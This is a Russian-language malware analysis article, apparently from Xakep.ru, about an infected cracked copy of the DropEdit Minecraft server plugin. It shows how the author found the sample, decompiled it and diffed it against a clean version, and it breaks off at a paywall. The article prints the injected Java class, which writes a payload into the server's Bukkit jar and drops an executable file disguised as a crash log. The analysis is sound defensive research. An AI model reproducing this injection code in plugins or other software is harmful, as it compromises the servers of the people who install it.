Поиск семплов
Я верю в глубокое изучение конкретных семплов. Поэтому первым делом я решил поискать антивирус, созданный специально для пользователей «Майнкрафта». Несколько утилит лечили последствия атаки печально известного Fracturiser. Но есть и антивирус общего назначения — MCAntiMalware.
Это серверное приложение на Java, которое проверяет хеши файлов и несколько видов сигнатур. Меня интересует только его база, которая лежит по адресу src\
. База сохранена в формате SQLite, так что откроем ее через бесплатный SQLite Browser.
В таблице BlacklistedChecksums
видим набор хешей SHA-1. У меня нет доступа к базам VirusTotal (напиши мне, если у тебя есть!), так что будем искать хеши в Google. Хешей всего лишь 349 штук. Можно было бы написать скрипт, но я решил, что быстрее будет проверить их вручную. Сегодня поговорим о найденных семплах.
DropEdit 1.10.4
SHA1: C471E7A958305B003A16459EDD59C9C552F56DAB
Это взломанный вариант платного плагина для Bukkit — популярного загрузчика модов для серверов Minecraft. Я поискал по имени плагина его копии и на каком‑то богом забытом форуме нашел версию 1.10.3. Закидываем файл JAR в декомпилятор JD-GUI и получаем исходный код программы. В большинстве случаев JD-GUI хорошо справляется со своей задачей, но при ошибках декомпиляции можно использовать другие инструменты.
При компиляции Java сохраняет имена переменных и функций. Они могут быть заменены сторонним обфускатором. Также код может быть спрятан за Base64 или бессмысленной Unicode-строкой и расшифровываться по мере исполнения. Подобных трюков вполне достаточно, чтобы считать файл подозрительным.
Код обеих версий выглядит похожим, но во вредной версии есть какие‑то вставки, которые надо вычленить. Для этого я распаковал декомпилированные исходники (они сохраняются в виде ZIP) и загрузил обе папки в инструмент сравнения WinMerge.
Однако добавленные декомпилятором комментарии мешали сравнению, так как вставленные номера строк и пути к исходным файлам не совпадают. Поэтому я убрал их при помощи регулярных выражений. Обычно я тестирую их на сайте regex101. Вот как это можно сделать.
/* Location: C:\Users\admin\Desktop\minecraft\DropEdit_1.10.4.jar!\de\Linus122\DropEdit\Cmd.class * Java compiler version: 8 (52.0) * JD-Core Version: 1.1.3 */
Этот блок легко поймать регуляркой \/\
. В ней ловим конец комментария после строки Location
, забирая все символы, кроме обратного слеша.
/* */ public Manager(Plugin pl) {/* 27 */ InputStream is = pl.getResource("config_default.yml");/* */
Таким же образом вырезаются комментарии с номером строки. Для этого подойдет регулярка \/\
, в которой мы забираем пробелы и цифры между звездочек со слешами. Я использовал Notepad++ для поиска и замены регулярных выражений во всех файлах в папке, но с этим справится любой современный редактор текста.

Снова сравнив папки в WinMerge, теперь видим только различия в коде. В зараженной версии присутствует новый файл: Manager.
. Прогнав результат работы декомпилятора через CodeBeautify, получаем тот же код, но с красивым форматированием:
public void onEnable() { ReflectionUtils utils = new ReflectionUtils(); types = utils.loadEntityTypes(); if (isUnix(System.getProperty("os.name")));// (...)public static boolean isUnix(String OS) { return !(OS.indexOf("nix") < 0 && OS.indexOf("nux") < 0 && OS.indexOf("aix") <= 0);}
В отличие от остальных семплов, этот проверяет, что он исполняется на Unix.
package de.Linus122.DropEdit;import java.io.File;import java.io.FileOutputStream;import java.io.InputStream;import java.io.OutputStream;import java.io.Writer;import java.net.URI;import java.nio.charset.StandardCharsets;import java.nio.file.FileSystem;import java.nio.file.FileSystems;import java.nio.file.Files;import java.nio.file.OpenOption;import java.nio.file.Path;import java.nio.file.Paths;import java.nio.file.StandardOpenOption;import java.util.HashMap;import java.util.Map;import org.apache.commons.io.IOUtils;import org.bukkit.Bukkit;import org.bukkit.plugin.Plugin;public class Manager { public Manager(Plugin pl) { InputStream is = pl.getResource("config_default.yml"); String jar = (new File(Bukkit.class.getProtectionDomain().getCodeSource().getLocation().getPath())).getName(); try { File dir; Map < String, String > env = new HashMap < > (); env.put("create", "true"); Path path = Paths.get(jar, new String[0]); URI uri = URI.create("jar:" + path.toUri()); Exception exception1 = null, exception2 = null; try { FileSystem fs = FileSystems.newFileSystem(uri, env); try { Path nf = fs.getPath("org/bukkit/craftbukkit/Main2.class", new String[0]); Exception exception3 = null, exception4 = null; try { Writer writer = Files.newBufferedWriter(nf, StandardCharsets.ISO_8859_1, new OpenOption[] { StandardOpenOption.CREATE }); try { while (true) { int value = is.read(); if (value == -1) break; writer.write(value); } } finally { if (writer != null) writer.close(); } } finally { exception4 = null; if (exception3 == null) { exception3 = exception4; } else if (exception3 != exception4) { exception3.addSuppressed(exception4); } } } finally { if (fs != null) fs.close(); } } finally { exception2 = null; if (exception1 == null) { exception1 = exception2; } else if (exception1 != exception2) { exception1.addSuppressed(exception2); } } File fileOUT = new File(dir.getPath(), "crash-2017-06-01_22.06.22-server.txt"); InputStream is2 = pl.getResource("old_config.txt"); OutputStream os = new FileOutputStream(fileOUT); IOUtils.copy(is2, os); dir.setReadable(true, true); dir.setWritable(true, true); dir.setExecutable(true, true); fileOUT.setReadable(true, true); fileOUT.setWritable(true, true); fileOUT.setExecutable(true, true); } catch (Exception exception) {} }}
Обрати внимание на импорт. Работа с файловой системой или сетью напрямую всегда настораживает. Легальному плагину незачем вылезать за пределы ресурсов игры или отправлять данные через сеть, и такое поведение всегда намекает на возможную вредоносную активность.
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее